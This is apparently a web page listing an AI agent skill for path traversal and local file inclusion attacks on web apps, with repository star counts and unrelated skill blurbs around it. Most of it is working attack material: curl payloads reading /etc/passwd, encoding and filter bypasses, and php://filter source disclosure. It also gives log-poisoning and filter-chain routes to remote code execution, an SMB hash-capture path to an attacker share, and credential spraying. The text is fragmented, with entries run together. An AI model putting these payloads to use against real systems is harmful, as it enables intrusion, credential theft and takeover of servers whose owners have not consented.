prototype
MAmattpocock/skills336k4,217 new stars in the last 7 days
Path traversal / Local File Inclusion detection→file-read→RCE for web apps. Use when a param names a file/path/page/template/lang/download, or a response embeds file contents. Triggers - file=/page=/path=/template=/lang=/download=/include= param, ../, %2e%2e, "no such file", directory listing, download endpoint.
A param selects a file/page/template/language/download, or a download/include endpoint reflects file content.
curl 'http://<t>/?page=../../../../etc/passwd' # classic
curl 'http://<t>/?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd' # url-encoded
curl 'http://<t>/?page=....//....//etc/passwd' # filter-strip bypass
root:x:0:0 back = traversal/LFI. Windows: ..\..\..\windows\win.ini.
include() (LFI) → escalate to RCE via wrappers/poisoning.page.php) → php://filter (below) or null-byte on old PHP; try ?page=../../etc/passwd%00 (PHP<5.3.4).# source disclosure (base64 so PHP doesn't execute it):
curl 'http://<t>/?page=php://filter/convert.base64-encode/resource=index.php' | base64 -d
# high-value reads: app config/.env, DB creds, SSH keys, /proc/self/environ, /proc/self/cmdline
# LFI → RCE paths:
# log poisoning: inject <?php system($_GET[c]);?> into UA/referer → include /var/log/apache2/access.log
# session poisoning: write PHP into a session var → include /var/lib/php/sessions/sess_<PHPSESSID>
# php://input / data:// (if allow_url_include) ; /proc/self/environ (older)
# php filter chain → RCE (php_filter_chain_generator) when only file-read is available
Proof required: contents of a file the app shouldn't return (/etc/passwd, an .env with creds), or id via an LFI→RCE chain. Harvested creds → add_credential + cred_spray.
nuclei -tags lfi,traversal; ffuf with an LFI wordlist on the param; php_filter_chain_generator for filter-only cases.
../ → try encodings, ....//, absolute paths, or a different param.php://filter/convert.base64-encode|convert.iconv.../resource=/etc/passwd chains that achieve RCE via php://filter when only LFI (not RCE) is available. Works on PHP 8.1+ with iconv + base64 + convert.quoted-printable-encode + convert.iconv.UTF8.UTF16 etc.php_filter_chain_generator --chain "<?php system('id'); ?>" → paste resulting filter chain as page=php://filter/.../resource=/etc/passwd.%252e%252e%252f (double URL-encoded), ..%c0%af (overlong UTF-8), ..%e0%80%af (3-byte overlong)./var/www/../../etc/passwd vs /var/www/././../../etc/passwd vs //etc/passwd.realpath() then opens — race with symlink swap. while true; do ln -sf /etc/passwd /tmp/link; done + rapid requests./proc/self/root/etc/passwd, /host/etc/passwd (if hostPath mounted), /var/lib/kubelet/pods/.../volumes/....C:\windows\system32\drivers\etc\hosts:stream — bypasses extension checks.\\attacker\share\file — SMB relay / hash capture via LFI.C:../../windows/win.ini (relative to current dir).php_filter_chain_generator --chain '<?php system("id"); ?>'.lfi-php-filter-chain, lfi-windows, traversal-encoding-bypass.MAmattpocock/skills336k4,217 new stars in the last 7 days
AFaffaan-m/ECC314k3,503 new stars in the last 7 days
FIfirecrawl/firecrawl214k4,815 new stars in the last 7 days
ANanthropics/skills203k2,822 new stars in the last 7 days
Set visual direction and typography for UI, avoiding templated defaults.
ANanthropics/skills203k2,822 new stars in the last 7 days
Build complex HTML artifacts with React, Tailwind CSS, state management and routing.
ANanthropics/skills203k2,822 new stars in the last 7 days